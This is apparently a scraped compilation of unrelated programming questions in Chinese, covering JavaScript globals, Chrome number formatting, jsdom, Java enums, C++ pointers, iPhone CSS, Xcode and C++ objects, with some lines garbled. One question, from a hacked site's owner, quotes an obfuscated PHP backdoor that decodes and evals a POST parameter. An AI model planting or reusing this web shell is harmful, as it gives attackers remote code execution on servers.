JavaScript可以轻松覆盖全局对象的属性和功能.我想找到一种方法来检查全局属性的原始版本是否已被替换.
考虑有人把它放在他们的HTML中:
<script type="text/javascript">
window.encodeURIComponent = eval;
</script>
<script type="text/javascript" src="myscript.js"></script>
Run Code Online (Sandbox Code Playgroud)
如果myscript.js在某处调用encodeURIComponent函数,它现在将表现得不可预测.那么有一种方法可以检查myscript.js内部是否有人在使用之前覆盖了该功能?
我有一种感觉,这只是一个无害的bug,但我仍然想知道发生了什么.
我正在玩一些代码来在画布上渲染Peano曲线,当我注意到一个函数在Chrome中返回荒谬的长字符串时,该画布涉及在基数3中表达逻辑坐标.更仔细地看,事实证明了这个表达方式
(.1).toString(3)
Run Code Online (Sandbox Code Playgroud)
在Chrome中评估
0.
如下所示:http://jsfiddle.net/zvp8osm8/
据我所知,在这种情况下,只有点后面的前33位有意义,其余的看起来像没有可识别模式的随机垃圾.用点后,1099(!)的数字相似的结果产生了不同的基础和指数过于喜欢(10000000000.1).toString(3)或(.7).toString(7).其他值(.5).toString(3)也会产生很长的字符串,但数字都有意义.
除Opera之外的其他浏览器在每种情况下只产生合理数量的数字,这使我认为问题出在Chrome的Javascript引擎中.
我现在有两个问题:
Node.js 4 现已发布,jsdom 完全支持它。下面的原始问题是关于 Node.js 0.12 的。
如果您不断收到诸如“jsdom 4.x 以上仅适用于 io.js,而不适用于 Node.js”之类的奇怪消息,我建议您将 Node.js 和 jsdom 都升级到最新版本。
jsdom 4 已停止支持 Node.js。
从文档:
请注意,从我们的 4.0.0 版本开始,jsdom 不再与 Node.js™ 一起工作,而是需要 io.js。如果您坚持使用 Node.js™ 等遗留技术,仍然欢迎您安装 3.x 系列的版本。
(我听说过关于 Joyent 管理 Node.js 的批评,但这里的“遗留技术”听起来有点贬义。)
虽然 jsdom 3.1.2 仍然可以正常工作,但我想在接收定期更新并支持 Node.js 的库上构建新项目。有人知道仍然由其作者维护的替代项目吗?
ECMAScript 6引入的功能之一是能够在JavaScript中指示未指定参数的默认值,例如
function foo(a = 2, b = 3) {
return a * b;
}
console.log(foo()); // 6
console.log(foo(5)); // 15
Run Code Online (Sandbox Code Playgroud)
现在我想知道是否可以对Function构造函数动态创建的函数使用默认参数,如下所示:
new Function('a = 2', 'b = 3', 'return a * b;');
Run Code Online (Sandbox Code Playgroud)
Firefox 39似乎已经支持默认参数(参见此处),但上面的行被拒绝作为语法错误.
我一直在看这个Enum类的源代码.它看起来像一个带有受保护构造函数的普通抽象类.它不是最终的,它内部没有任何特殊的注释,也不使用本机代码.然而,它不能直接子类化.实际上,以下代码无法编译:
class Foo<E extends Enum<E>> extends Enum<E> {
Foo(String name, int ordinal) {
super(name, ordinal);
}
}
Run Code Online (Sandbox Code Playgroud)
我知道这Enum是Java中的一个特殊类,我知道有很好的理由可以禁止直接子类化.但从技术上讲,你如何强制执行这种行为?程序员是否可以创建一个类似的非final类,尽管有一个可访问的构造函数,但它不允许直接子类化?
我经常看到使用普通指针算法的数组迭代,即使在较新的C++代码中也是如此.我不知道它们到底有多安全,如果使用它们是个好主意.考虑这个片段(如果你calloc代替它,它也在C中编译new):
int8_t *buffer = new int8_t[16];
for (int8_t *p = buffer; p < buffer + 16; p++) {
...
}
Run Code Online (Sandbox Code Playgroud)
这种迭代不会导致溢出,并且当buffer 碰巧在地址0xFFFFFFF0(在32位地址空间中)或0xFFFFFFFFFFFFFFF0(64位)分配时,循环会被完全跳过吗?据我所知,这将是一个异常不幸,但仍然可能的情况.
我想只在apple iphone设备中更改一些CSS属性.有没有办法找到单独使用iPhone.
对于所有的狡猾
.menu{
-webkit-transition:all 100ms ease;
-moz-transition:all 100ms ease;
-o-transition:all 100ms ease;
transition: all 100ms ease;
}
Run Code Online (Sandbox Code Playgroud)
仅适用于Apple Iphone
.menu{
transition: none;
}
Run Code Online (Sandbox Code Playgroud) 我的网站之一昨晚遭到黑客入侵,一些色情内容被放置在我的网站上。
我做了什么:
我已经使用FTP从网站上手动删除了成人内容。
我的网站现在可以正常工作了。但是,我仍然能够在插件和主题文件中找到一些代码。这不是我写的,代码如下:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n842e1c'];
if(isset($s22))
{
eval($s21($s22));
}
?>
Run Code Online (Sandbox Code Playgroud)
我的查询是:
其他要求的代码建议:
此类代码在100多个文件中可用。有没有一种方法可以一次从所有文件中删除代码?还是任何保留代码并将其清除的方法?因此,这将节省我从大量文件中手动删除代码的时间。
我已经使用Xcode 5了一段时间,我无法弄清楚如何调试到STL源头.选项"Step Into"(F7)只是跳过我希望调试器进入的语句,我找不到更改此行为的设置.我记得人们抱怨以前版本的Xcode,其中踩到STL源无法关闭......这令人沮丧.
有人能指出我在C++中对象的(官方)定义吗?在当前的规范中,单词"object"被使用了几千次,但我似乎无法找到解释对象是什么的部分或引用.
这个基本问题的背景是我最近与另一个用户进行的讨论,他对我是否可以将指向范围枚举类型的变量的指针视为对象指针的问题感到惊讶.据他所说,在C++中每个变量是一个对象,因此也变i的int i = 42;.无论如何,我可以找到其他来源说明C++中的一个对象是一个类的实例(这肯定是我多年前在学校教过的),这与我理解上面的假设相矛盾,即任何变量都是一个对象.或者是否有这种明显矛盾的解释?